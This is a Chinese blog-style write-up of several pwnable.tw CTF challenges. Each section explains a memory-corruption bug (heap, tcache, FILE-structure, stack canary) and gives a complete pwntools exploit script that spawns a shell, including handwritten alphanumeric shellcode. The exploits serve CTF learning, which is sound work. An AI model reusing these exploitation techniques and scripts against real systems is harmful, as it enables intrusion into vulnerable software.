pwnable.tw刷题记录
1.applestore(假unlink劫持ebp) 这个题实现了一个双向列表的插入和删除操作,实话实说这个题是真的绕。
这个题的漏洞在于栈的地址被写入到了堆上,且栈的区域可控。如下图所示,并没有申请一个堆块而是直接利用栈中的区域作为堆块被插入到了链表中。(后面都将这块栈区域命名为v2)
又因为当checkout函数执行结束后会释放掉栈帧,其他和他同级的函数被调用时重复使用到其栈帧,所以说我们可以控制这一块栈区域。
因为v2距离ebp的距离为0x20。且其同级函数cart()或dele()他们的buf变量也距离ebp为0x20,所以我们可以通过写入这两个函数的buf变量来改变被插入链表中的v2的值。
可以看见buf是my_read函数的参数,因此我们可以利用my_read函数来修改v2的fd指针和bk指针。到这里后我原本的思路是将fd指针写入system的地址,bk指针写入atoi_got-8的地址。但是发现system地址并不在可写段上,所以在进行dele操作时会报错。
dele操作如下图所示,先找到要删除的chunk(victim)的bk指针所指向的bck,也就是bck=victim->bk
,然后bck->fd=victim->fd
,接着victim->fd->bk=bck
这样victim就脱离了双向列表。
报错后,就傻了,想不到绕过的方法了,看了别人的wp后我只能说绝!
思路就是劫持ebp,使ebp的值变为atoi_got+0x22这样当执行dele操作时,buf变量的位置就会变为ebp-0x22也就是atoi_got+0x22-0x22,因此就可以改写atoi的got表。
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from pwn import * #io=process('./applestore') io=remote('chall.pwnable.tw', 10104) elf=ELF('./applestore') #libc=elf.libc libc=ELF('./libc_32.so.6') context.log_level='debug' read_got=elf.got['read'] atoi_plt=elf.plt['atoi'] atoi_got=elf.got['atoi'] def ls(): io.sendlineafter('> ','1') def add(num): io.sendlineafter('> ','2') io.sendlineafter('Number> ',str(num)) def dele(num): io.sendlineafter('> ','3') io.sendlineafter('Item Number> ',num) def cart(context): io.sendlineafter('> ','4') io.sendafter('ok? (y/n) > ',context) def checkout(): io.sendlineafter('> ','5') io.sendlineafter('ok? (y/n) > ','y') def exp(): for i in range(6): add(1) for i in range(20): add(2) checkout() cart('y'+'\x00'+p32(read_got)+p32(1)+p32(0)) read=u32(io.recvuntil('\xf7')[-4:]) libc_base=read-libc.symbols['read'] print('libc_base',hex(libc_base)) system=libc.symbols['system']+libc_base environ=libc.symbols['_environ']+libc_base cart('y\x00'+p32(environ)+p32(1)+p32(0)) io.recvuntil('27: ') stack=u32(io.recv(4))-0x104-8 print('stack',hex(stack)) #gdb.attach(io) dele('27\x00\x00\x00\x00'+p32(1)+p32(atoi_got+0x22)+p32(stack)) io.sendlineafter('> ',p32(system)+';/bin/sh\x00') io.interactive() exp()
在这里还有一个小知识点就是atoi()不会识别\x00之后的字符。
2.re-alloc(realloc的妙用) 首先我们回顾一下realloc函数的用法:
realloc 函数可以身兼 malloc 和 free 两个函数的功能 .。
当realloc(ptr,size)的size不等于ptr的size时
如果申请size>原来size
如果chunk与top chunk相邻,直接扩展这个chunk到新size大小
如果chunk与top chunk不相邻,相当于free(ptr),malloc(new_size)
如果申请size<原来size
如果相差不足以容得下一个最小chunk(64位下32个字节,32位下16个字节),则保持不变
如果相差可以容得下一个最小chunk,则切割原chunk为两部分,free掉后一部分
当realloc(ptr,size)的size等于0时,相当于free(ptr),且返回0。
当realloc(ptr,size)的size等于ptr的size,不进行任何操作
这个题的漏洞点就在于当我们输入size为0的时候,chunk被free掉,但由于有if(!v3)
这个判断,所以堆指针并不会被置0,即存在uaf漏洞。
因为是libc-2.29版本,所以有tcache,可以直接将chunk释放掉后更改atoll函数的got表。在这里我们将其改为printf函数的plt地址,这样就会造成一个格式化字符串漏洞,我们可以利用其来泄露出libc_base,并且printf的返回值是他打印出的字符数,就可以控制index了。最后将atoll的got表改为system函数的地址即可。
因为将atoll的got表改为printf的plt地址后,只能操作index=1的chunk,并且只能申请0x20大小的chunk,因此为了方便我们需要在最开始将tcache的0x20大小的位置布置好为atoll的got地址,这样泄露出地址后才能直接申请0x20大小的chunk改其got表,拿到shell。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 from pwn import * #io=process('./re-alloc') io=remote('chall.pwnable.tw' ,10106) context.log_level='debug' elf=ELF('./re-alloc') libc=elf.libc heap=0x4040b0 atoll_got=elf.got['atoll'] printf_plt=elf.plt['printf'] printf_got=elf.got['printf'] def add(index,size,context): io.sendlineafter('Your choice: ','1') io.sendlineafter('Index:',str(index)) io.sendlineafter('Size:',str(size)) io.sendafter('Data:',context) def readd(index,size,context): io.sendlineafter('Your choice: ','2') io.sendlineafter('Index:',str(index)) io.sendlineafter('Size:',str(size)) io.sendafter('Data:',context) def redele(index,size): io.sendlineafter('Your choice: ','2') io.sendlineafter('Index:',str(index)) io.sendlineafter('Size:',str(size)) def dele(index): io.sendlineafter('Your choice: ','3') io.sendlineafter('Index:',str(index)) def exp(): add(0,0x10,'a') redele(0,0) readd(0,0x10,p64(atoll_got)) add(1,0x10,'b'*0x10) readd(0,0x20,'c'*0x10) dele(0) readd(1,0x20,'d'*0x10) dele(1) add(0,0x68,'a') add(1,0x68,'a') dele(0) redele(1,0) readd(1,0x68,p64(atoll_got)) add(0,0x68,'a'*0x68) readd(0,0x78,'b'*0x60) dele(0) readd(1,0x68,'\x00'*0x10) add(0,0x68,p64(printf_plt)) #gdb.attach(io) io.sendlineafter('Your choice: ','3') io.sendlineafter('Index:','1\x00') io.sendlineafter('Your choice: ','3') io.sendlineafter('Index:','%21$p') libc_start_main=int(io.recv(14),16)-235 libc_base=libc_start_main-libc.symbols['__libc_start_main'] print('libc_base',hex(libc_base)) system=libc_base+libc.symbols['system'] atoll=libc_base+libc.symbols['atoll'] io.sendlineafter('Your choice: ','1') io.sendafter('Index:','a\x00') io.sendafter('Size:','a'*0x10) io.sendafter('Data:',p64(system)) io.sendlineafter('Your choice: ','1') io.sendafter('Index:','/bin/sh\x00') io.interactive() exp()
3.tcache_tear(fakechunk构造需要连续三个) 这个题有两个漏洞点,一个在free后指针没有置0,另一个在申请一个后,对堆进行写操作时有size-16
,只要size小于16就会造成堆溢出。在做题的时候我只用到了第一个漏洞。
因为是libc-2.27-3ubuntu1,并没有打补丁,所以tcache并不会检查doublefree,所以我们先申请一个chunk然后free两次,在申请一个相同大小的chunk,就可以控制freechunk中的fd指针。
我们发现show操作只能输出bss段上的值,所以我们要将堆块申请到bss段上。我们先输入name为p64(0)+p64(0x421)
先构造出chunk头。接着将freechunk的fd指针指向bss+0x10(因为tcache指向chunk+0x10)。因为我们是要准备free掉这个0x420大小的chunk,所以必须得在他下面写入p64(0)+p64(0x21)
,然后在free,但这时候却报错了,错误提示如下:
查看源码发现会检查nextchunk的下一个chunk的inuse位,如果为0则会向前合并,并且调用unlink函数,而libc-2.27相对于libc-2.23来说增加了if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))
对prevsize的检查。所以我们必须在nextchunk下也写入p64(0)+p64(0x21)
这样大小为0x420的chunk才能被放入unsortedbin中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 /* consolidate backward */ if (!prev_inuse(p)) { prevsize = prev_size (p); size += prevsize; p = chunk_at_offset(p, -((long) prevsize)); unlink(av, p, bck, fwd); } if (nextchunk != av->top) { /* get and clear inuse bit */ nextinuse = inuse_bit_at_offset(nextchunk, nextsize); /* consolidate forward */ if (!nextinuse) { unlink(av, nextchunk, bck, fwd); size += nextsize; } else clear_inuse_bit_at_offset(nextchunk, 0); /* Take a chunk off a bin list */ #define unlink(AV, P, BK, FD) { \ if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \ malloc_printerr ("corrupted size vs. prev_size"); \ FD = P->fd; \ BK = P->bk; \ if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \ malloc_printerr ("corrupted double-linked list"); \ else { \ FD->bk = BK; \ BK->fd = FD; \ if (!in_smallbin_range (chunksize_nomask (P)) \ && __builtin_expect (P->fd_nextsize != NULL, 0)) { \ if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \ || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \ malloc_printerr ("corrupted double-linked list (not small)"); \ if (FD->fd_nextsize == NULL) { \ if (P->fd_nextsize == P) \ FD->fd_nextsize = FD->bk_nextsize = FD; \ else { \ FD->fd_nextsize = P->fd_nextsize; \ FD->bk_nextsize = P->bk_nextsize; \ P->fd_nextsize->bk_nextsize = FD; \ P->bk_nextsize->fd_nextsize = FD; \ } \ } else { \ P->fd_nextsize->bk_nextsize = P->bk_nextsize; \ P->bk_nextsize->fd_nextsize = P->fd_nextsize; \ } \ } \ } \ }
然后就能泄露libc的基地址了,打free_hook拿shell
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 from pwn import * io=process('./tcache_tear') #io=remote('chall.pwnable.tw' ,10207) context.log_level='debug' heap=0x602060 elf=ELF('./tcache_tear') libc=elf.libc def add(size,content): io.sendlineafter('choice :','1') io.sendlineafter('Size:',str(size)) io.sendlineafter('Data:',content) def dele(): io.sendlineafter('choice :','2') def show(): io.sendlineafter('choice :','3') def exp(): io.sendlineafter('Name:',p64(0)+p64(0x421)) add(0x78,'a') dele() dele() add(0x78,p64(heap+0x420)) add(0x78,'a') add(0x78,p64(0)+p64(0x21))#+p64(0)+p64(0)+p64(0)+p64(0x21)) add(0x68,'a') dele() dele() add(0x68,p64(heap+0x10)) add(0x68,'a') add(0x68,'heap') gdb.attach(io) dele() show() malloc_hook=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-96-16 libc_base=malloc_hook-libc.symbols['__malloc_hook'] print('libc_base',hex(libc_base)) free_hook=libc_base+libc.symbols['__free_hook'] system=libc_base+libc.symbols['system'] add(0x38,'a') dele() dele() add(0x38,p64(free_hook-8)) add(0x38,'a') add(0x38,'/bin/sh\x00'+p64(system)) dele() io.interactive() exp()
4.seethefile(伪造IO_FILE结构体) 这个题实现了一个可以读取并输出服务器上的任意文件的功能。漏洞点在退出时的scanf(“%s”,name)这里没有对长度进行限制可以溢出,可以覆盖掉fp这个IO_FILE指针,我们只需要伪造一个IO_FILE结构就行。
fopen函数的操作简单概括就是:
使用 malloc 分配 FILE 结构
设置 FILE 结构的 vtable
初始化分配的 FILE 结构
将初始化的 FILE 结构链入 FILE 结构链表中
调用系统调用打开文件
fclose函数的源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 int _IO_new_fclose (_IO_FILE *fp) { int status; CHECK_FILE(fp, EOF); #if SHLIB_COMPAT (libc, GLIBC_2_0, GLIBC_2_1) /* We desperately try to help programs which are using streams in a strange way and mix old and new functions. Detect old streams here. */ if (_IO_vtable_offset (fp) != 0) return _IO_old_fclose (fp); #endif /* First unlink the stream. */ if (fp->_IO_file_flags & _IO_IS_FILEBUF)//_IO_IS_FILEBUF的值为0x2000 _IO_un_link ((struct _IO_FILE_plus *) fp); _IO_acquire_lock (fp); if (fp->_IO_file_flags & _IO_IS_FILEBUF) status = _IO_file_close_it (fp); else status = fp->_flags & _IO_ERR_SEEN ? -1 : 0; _IO_release_lock (fp); _IO_FINISH (fp); if (fp->_mode > 0) { #if _LIBC /* This stream has a wide orientation. This means we have to free the conversion functions. */ struct _IO_codecvt *cc = fp->_codecvt; __libc_lock_lock (__gconv_lock); __gconv_release_step (cc->__cd_in.__cd.__steps); __gconv_release_step (cc->__cd_out.__cd.__steps); __libc_lock_unlock (__gconv_lock); #endif } else { if (_IO_have_backup (fp)) _IO_free_backup_area (fp); } if (fp != _IO_stdin && fp != _IO_stdout && fp != _IO_stderr) { fp->_IO_file_flags = 0; free(fp); } return status; }
可以看见fclose函数将会调用_IO_FINISH (fp)
函数,其存在于vtable需表中,而vtable就存在于_IO_FILE_plus中。
1 2 3 4 5 struct _IO_FILE_plus { _IO_FILE file; const struct _IO_jump_t *vtable; };
我们在构造_IO_FILE结构体主要就是伪造一个vtable表,将_IO_FINISH()覆盖为system的值即可。
现在我们需要先泄露出libc的基地址,因为可以读取并输出任意文件,而libc等文件信息一般被放在/proc//maps中,这里的pid替换为self。因此我们读取他就可以拿到libc的基地址。
从源码中我们可以看出如果_IO_file_flags&0x2000=0就可以绕过前面两个if直接执行_IO_FINISH函数。因此我们只要把_IO_file_flags的值覆盖为满足条件的值即可,且不能有\x00,不然将无法执行后面的;sh\x00。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 from pwn import * #io=process('./seethefile') io=remote('chall.pwnable.tw' ,10200) elf=ELF('./seethefile') libc=ELF('./libc_32.so.6') #libc=elf.libc context.log_level='debug' def opens(filename): io.recvuntil('Your choice :') io.sendline('1') io.sendlineafter('What do you want to see :',filename) def reads(): io.sendlineafter('Your choice :','2') def writes(): io.sendlineafter('Your choice :','3') def closes(): io.sendlineafter('Your choice :','4') def exp(): opens('/proc/self/maps') reads() writes() io.recvline() io.recvline() io.recvline() heap_addr=int(io.recv(8),16)+0x1010 io.recvline() libc_base=int(io.recv(8),16)+0x1000 print('heap_addr',hex(heap_addr)) print('libc_base',hex(libc_base)) system=libc_base+libc.symbols['system'] io.sendlineafter('Your choice :','5') payload='a'*0x20+p32(0x804b290)+p32(0)*3 payload+=p32(0xFBAD1C58)+';sh\x00'+p32(heap_addr+0x560)+p32(heap_addr+0x160)*5 payload+=p32(heap_addr+0x560)+p32(0)*4 payload+=p32(libc_base+libc.symbols['_IO_2_1_stderr_'])+p32(3) payload+=p32(0)*3+p32(heap_addr+0x98)+p32(0xffffffff)*2 payload+=p32(0)+p32(heap_addr+0xa4)+p32(0)*3+p32(0xffffffff) payload+=p32(0)*10+p32(0x804b290+0xb8)+p64(0)*4 payload+=p32(0)*2+p32(system) #gdb.attach(io) io.sendlineafter('name :',payload) io.interactive() exp()
5.Death Note(alpha_shellcode的编写) 可以看见v1是int类型,因此当v1为负数时,就可以修改got表。
因此将堆指针覆盖掉free的got地址,然后调用free函数时eip就直接跳转到堆上执行,因此我们只需要在堆上写shellcode即可。
但这里有个检查,shellcode必须是可显示字符。
这种shellcode被称为alpha_shellcode,写这种shellcode有两种方法,一种是用alpha3这个工具写,但写出的shellcode太长需要两百多字节,所以在这里我们考虑第二种方法手写。
网上有大佬将可以用到的汇编指令都罗列了下来,如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 1.数据传送: push/pop eax… pusha/popa 2.算术运算: inc/dec eax… sub al, 立即数 sub byte ptr [eax… + 立即数], al dl… sub byte ptr [eax… + 立即数], ah dh… sub dword ptr [eax… + 立即数], esi edi sub word ptr [eax… + 立即数], si di sub al dl…, byte ptr [eax… + 立即数] sub ah dh…, byte ptr [eax… + 立即数] sub esi edi, dword ptr [eax… + 立即数] sub si di, word ptr [eax… + 立即数] 3.逻辑运算: and al, 立即数 and dword ptr [eax… + 立即数], esi edi and word ptr [eax… + 立即数], si di and ah dh…, byte ptr [ecx edx… + 立即数] and esi edi, dword ptr [eax… + 立即数] and si di, word ptr [eax… + 立即数] xor al, 立即数 xor byte ptr [eax… + 立即数], al dl… xor byte ptr [eax… + 立即数], ah dh… xor dword ptr [eax… + 立即数], esi edi xor word ptr [eax… + 立即数], si di xor al dl…, byte ptr [eax… + 立即数] xor ah dh…, byte ptr [eax… + 立即数] xor esi edi, dword ptr [eax… + 立即数] xor si di, word ptr [eax… + 立即数] 4.比较指令: cmp al, 立即数 cmp byte ptr [eax… + 立即数], al dl… cmp byte ptr [eax… + 立即数], ah dh… cmp dword ptr [eax… + 立即数], esi edi cmp word ptr [eax… + 立即数], si di cmp al dl…, byte ptr [eax… + 立即数] cmp ah dh…, byte ptr [eax… + 立即数] cmp esi edi, dword ptr [eax… + 立即数] cmp si di, word ptr [eax… + 立即数] 5.转移指令: push 56h pop eax cmp al, 43h jnz lable <=> jmp lable 6.交换al, ah push eax xor ah, byte ptr [esp] // ah ^= al xor byte ptr [esp], ah // al ^= ah xor ah, byte ptr [esp] // ah ^= al pop eax 7.清零: push 44h pop eax sub al, 44h ; eax = 0 push esi push esp pop eax xor [eax], esi ; esi = 0 8.构造int 80 #ebx=0 push ebx pop eax dec eax xor [ecx+0x51],al
因此,我们就可以利用这些指令写出我们的shellcode
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 from pwn import * #io=process('./death_note') io=remote('chall.pwnable.tw' ,10201) context.log_level='debug' def add(index,name): io.sendlineafter('Your choice :','1') io.sendlineafter('Index :',str(index)) io.sendlineafter('Name :',name) def show(index): io.sendlineafter('Your choice :','2') io.sendlineafter('Index :',str(index)) def dele(index): io.sendlineafter('Your choice :','3') io.sendlineafter('Index :',str(index)) def exp(): payload=''' #eax初始就有堆的地址 xor al,0x77; inc eax; push eax; pop ecx; xor al,0x20; push eax; pop edx; xor al,0x20; dec eax; xor al,0x77; xor [eax+0x26],cl; xor [eax+0x27],dl; xor al,0x58; push eax; pop ebx; push 0x56; pop eax; sub al,0x56; push eax; pop ecx; push eax; pop edx; push 0x2c; pop eax; sub al,0x21; ''' payload=asm(payload)+'\x4d\x20' payload+='/bin/sha'*4+'/bin/sh' print(len(payload)) add(-19,payload) #gdb.attach(io) dele(-19) io.interactive() exp()
7.Spirited Away 这个题的代码虽然少,但是漏洞隐藏的却很深,我前前后后读了很多遍代码,主函数如下,我发现只对nbytes和v3只进行了一次赋值,这样很容易修改他俩的值,如果能修改就好了,然后看要怎么才能修改他们,很自然的就往v1数组看去,发现他的大小只有56,但存储的字符出去数字就有55的长度,说明只能存储一位数的数字,如果有两位甚至三位数字就会溢出。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 int survey() { char v1[56]; // [esp+10h] [ebp-E8h] BYREF size_t nbytes; // [esp+48h] [ebp-B0h] size_t v3; // [esp+4Ch] [ebp-ACh] char s[80]; // [esp+50h] [ebp-A8h] BYREF int v5; // [esp+A0h] [ebp-58h] BYREF void *buf; // [esp+A4h] [ebp-54h] char v7[80]; // [esp+A8h] [ebp-50h] BYREF nbytes = 0x3C; v3 = 0x50; LABEL_2: memset(s, 0, sizeof(s)); buf = malloc(0x3Cu); printf("\nPlease enter your name: "); fflush(stdout); read(0, buf, nbytes); printf("Please enter your age: "); fflush(stdout); __isoc99_scanf("%d", &v5); printf("Why did you came to see this movie? "); fflush(stdout); read(0, v7, v3); fflush(stdout); printf("Please enter your comment: "); fflush(stdout); read(0, s, nbytes); ++cnt; printf("Name: %s\n", (const char *)buf); printf("Age: %d\n", v5); printf("Reason: %s\n", v7); printf("Comment: %s\n\n", s); fflush(stdout); sprintf(v1, "%d comment so far. We will review them as soon as we can", cnt); puts(v1); puts(&::s); fflush(stdout); if ( cnt > 199 ) { puts("200 comments is enough!"); fflush(stdout); exit(0); } while ( 1 ) { printf("Would you like to leave another comment? <y/n>: "); fflush(stdout); read(0, &choice, 3u); if ( choice == 89 || choice == 121 ) { free(buf); goto LABEL_2; } if ( choice == 78 || choice == 110 ) break; puts("Wrong choice."); fflush(stdout); } puts("Bye!"); return fflush(stdout); }
当cnt为两位数时,那么’\x00’将会覆盖nbytes,当cnt为三位数时,那么’n‘也就是’\x6e‘将会覆盖nbytes,这时就可以溢出来覆盖堆指针buf了。
接下来需要思考将堆指针指向哪,由于free之后立马又malloc了,因此可以在栈上伪造chunk,然后再申请回来,v7离ebp最近,同时我们也可以控制v7的数据,在v7中伪造chunk,然后再利用堆溢出,这样就能改写返回地址了。因为是libc-2.23,unlink操作中没有判断netxchunk的nextchunk,因此我们只需要在fakechunk下写上p32(0)+p32(0x11)就绕过,使栈上的chunk被放入fastbin中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 #define unlink(AV, P, BK, FD) { \ FD = P->fd; \ BK = P->bk; \ if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \ malloc_printerr (check_action, "corrupted double-linked list", P, AV); \ else { \ FD->bk = BK; \ BK->fd = FD; \ if (!in_smallbin_range (P->size) \ && __builtin_expect (P->fd_nextsize != NULL, 0)) { \ if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \ || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \ malloc_printerr (check_action, \ "corrupted double-linked list (not small)", \ P, AV); \ if (FD->fd_nextsize == NULL) { \ if (P->fd_nextsize == P) \ FD->fd_nextsize = FD->bk_nextsize = FD; \ else { \ FD->fd_nextsize = P->fd_nextsize; \ FD->bk_nextsize = P->bk_nextsize; \ P->fd_nextsize->bk_nextsize = FD; \ P->bk_nextsize->fd_nextsize = FD; \ } \ } else { \ P->fd_nextsize->bk_nextsize = P->bk_nextsize; \ P->bk_nextsize->fd_nextsize = P->fd_nextsize; \ } \ } \ } \ }
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 from pwn import * #io=process('./spirited_away') io=remote('chall.pwnable.tw' ,10204) elf=ELF('./spirited_away') #libc=elf.libc libc=ELF('./libc_32.so.6') main=elf.symbols['main'] ret=0x0804841e context.log_level='debug' def survey(name,age,content,comment,choice): io.recvuntil(' name: ',timeout=1) io.send(name) io.recvuntil('age: ',timeout=1) io.sendline(str(age)) io.recvuntil('movie? ',timeout=1) io.send(content) io.recvuntil('comment: ',timeout=1) io.send(comment) io.recvuntil('comment? <y/n>: ',timeout=1) io.sendline(choice) def survey2(age,content,choice): io.recvuntil('age: ',timeout=1) io.sendline(str(age)) io.recvuntil('movie? ',timeout=1) io.send(content) io.recvuntil('comment? <y/n>: ',timeout=1) io.sendline(choice) def exp(): io.recvuntil(' name: ') io.send('a'*0x3c) io.recvuntil('age: ') io.sendline(str(20)) io.recvuntil('movie? ') io.send('b'*0x38) io.recvuntil('comment: ') io.send('c'*0x3c) io.recvuntil('b'*0x38) stack=u32(io.recv(4))-0x48-0x88+8 io.recv(4) fflush=u32(io.recv(4))-11 libc_base=fflush-libc.symbols['fflush'] print('libc_base',hex(libc_base)) print('stack',hex(stack)) system=libc_base+libc.symbols['system'] binsh=libc_base+libc.search('/bin/sh').next() exit=libc_base+libc.symbols['_exit'] io.sendlineafter('comment? <y/n>: ','y') for i in range(9): sleep(0.1) survey('a'*0x3c,20,p32(0)+p32(0x41)+p32(0)*0xe+p32(0)+p32(0x11)+p32(0)*3+p32(0x11),'c'*0x3c,'y') for i in range(90): sleep(0.1) survey2(20,'a','y') print('stack',hex(stack)) survey('f1ag',20,'A','a'*80+p32(1)+p32(stack+0x60),'y') io.sendafter(' name: ','sh\x00\x00'+'a'*0x44+p32(stack)+p32(system)+p32(main)+p32(binsh),timeout=0.1) io.sendlineafter('age: ',str(20)) io.sendafter('movie? ','A') io.sendafter('comment: ','a') #gdb.attach(io) io.sendlineafter('comment? <y/n>: ','n') io.interactive() exp()
8.BabyStack 这个题是我做到现在为止用到的技巧最多的一次,下面我们来逐一分析。
题目代码挺少,逻辑也挺简单,我们需要注意copy函数中的strcpy函数,我们知道strcpy函数遇到’\x00’才会停止,如果栈上数据都被填满,那么复制给a1后就会造成溢出 。
那么我们如何使栈被填满呢?我们可以看到copy的参数src[128]和login的参数s[128]使用的是相同的栈地址 ,并且中间也没有其他函数会改变其栈的内容,所以我们可以填满login中的s[128],这样在使用copy函数后就会造成溢出,覆盖掉返回地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 int __fastcall copy(char *a1) { char src[128]; // [rsp+10h] [rbp-80h] BYREF printf("Copy :"); reads((unsigned __int8 *)src, 0x3Fu); strcpy(a1, src); return puts("It is magic copy !"); } int __fastcall login(const char *a1) { size_t v1; // rax char s[128]; // [rsp+10h] [rbp-80h] BYREF printf("Your passowrd :"); reads((unsigned __int8 *)s, 0x7Fu); v1 = strlen(s); if ( strncmp(s, a1, v1) ) return puts("Failed !"); state = 1; return puts("Login Success !"); } __int64 __fastcall main(__int64 a1, char **a2, char **a3) { _QWORD *v3; // rcx __int64 v4; // rdx char v6[64]; // [rsp+0h] [rbp-60h] BYREF __int64 buf[2]; // [rsp+40h] [rbp-20h] BYREF char v8[16]; // [rsp+50h] [rbp-10h] BYREF init(); random = open("/dev/urandom", 0); read(random, buf, 0x10uLL); v3 = addr; v4 = buf[1]; *(_QWORD *)addr = buf[0]; v3[1] = v4; close(random); while ( 1 ) { write(1, ">> ", 3uLL); _read_chk(0LL, v8, 16LL, 16LL); if ( v8[0] == '2' ) break; if ( v8[0] == '3' ) { if ( state ) copy(v6); else LABEL_13: puts("Invalid choice"); } else { if ( v8[0] != '1' ) goto LABEL_13; if ( state ) state = 0; else login(buf); } } if ( !state ) exit(0); memcmp(buf, addr, 0x10uLL); return 0LL; }
但由于程序保护全开,且没有能够输出栈上的值的功能,所以很难直接泄露出libc_base等其他地址。但我们发现login函数中有strncmp(),他比较的是a1和s是否相同也就是buf和s是否相同,s是我们的输入可控,buf可以利用前面的溢出,将栈上的值复制到buf及之后,并且可以比较的长度范围为0~0x7f,也就是说我们可以泄露0x7f大小的栈内的值,因此就可以拿到libc_base。
我们需要输入正确的密码才能使用copy函数,但密码是个随机数,虽然可以利用strncmp()函数爆破,但因为发现有strlen()函数,我们输入第一个字节为’\x00’,这样strlen()会返回0,就可以直接绕过strncmp()。
一开始我没有发现canary在哪,执行到最后爆出canary错误,查看汇编可以看到memcmp比较后,如果不为0则跳转到__stacj_chk_fail函数报错,因为memcmp()是不存在’\x00’截断的,所以需要我们必须爆破出密码。
最后,在写rop的时候,需要用到p64()但发现p64()存在’\x00’,会截断,因此我采取从后往前写的措施,即先将最后的system的函数地址写入栈中,然后利用strcpy()函数会复值’\x00’的特性将p64的高两位地址置0 ,这样就能成功的写入rop。
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 from pwn import * #io=process('./babystack') io=remote('chall.pwnable.tw' ,10205) elf=ELF('./babystack') #libc=elf.libc libc=ELF('./libc_64.so.6') context.log_level='debug' context.arch='amd64' def login(password): io.sendlineafter('>> ','1') io.sendafter('passowrd :',password) def login2(): io.sendlineafter('>> ','1') def copy(content): io.sendlineafter('>> ','3') io.sendafter('Copy :',content) def exp(): login('\x00'+'a'*0x3f) copy('a'*0x3e+'\x00') canary='' for j in range(0x10): login2() for i in range(0xff): if i == 10 or i == 0: continue login(canary+p8(i)+'\x00') if io.recvuntil('!\n')[-9:] == 'uccess !\n': canary+=p8(i) break canary login2() login('\x00'+'a'*0x47) copy('a'*0x3f) payload='aaaaaaaa' for j in range(6): login2() for i in range(0xff): if i == 10 or i == 0: continue login(payload+p8(i)+'\x00') if io.recvuntil('!\n')[-9:] == 'uccess !\n': payload+=p8(i) break IOsetbuf=u64(payload[-6:].ljust(8,'\x00'))-9 libc_base=IOsetbuf-libc.symbols['_IO_file_setbuf'] print('libc_base',hex(libc_base)) system=libc_base+libc.symbols['system'] binsh=libc_base+libc.search('/bin/sh').next() print('binsh',hex(binsh)) pop_rdi=libc_base+libc.search(asm('pop rdi\nret')).next() login2() login('\x00'+'a'*0x3f+canary[:8]+canary[8:16]+'aaaaaaaa'*5+p32(system&0xffffffff)+p16((system>>32)&0xffff)+'\n') copy('a'*0x3f) login2() login('\x00'+'a'*0x3f+canary[:8]+canary[8:16]+'aaaaaaaa'*4+'aaaaaaa'+'\n') copy('a'*0x3f) login2() login('\x00'+'a'*0x3f+canary[:8]+canary[8:16]+'aaaaaaaa'*4+p32(binsh&0xffffffff)+p16((binsh>>32)&0xffff)+'\n') copy('a'*0x3f) login2() login('\x00'+'a'*0x3f+canary[:8]+canary[8:16]+'aaaaaaaa'*3+'aaaaaaa'+'\n') copy('a'*0x3f) login2() 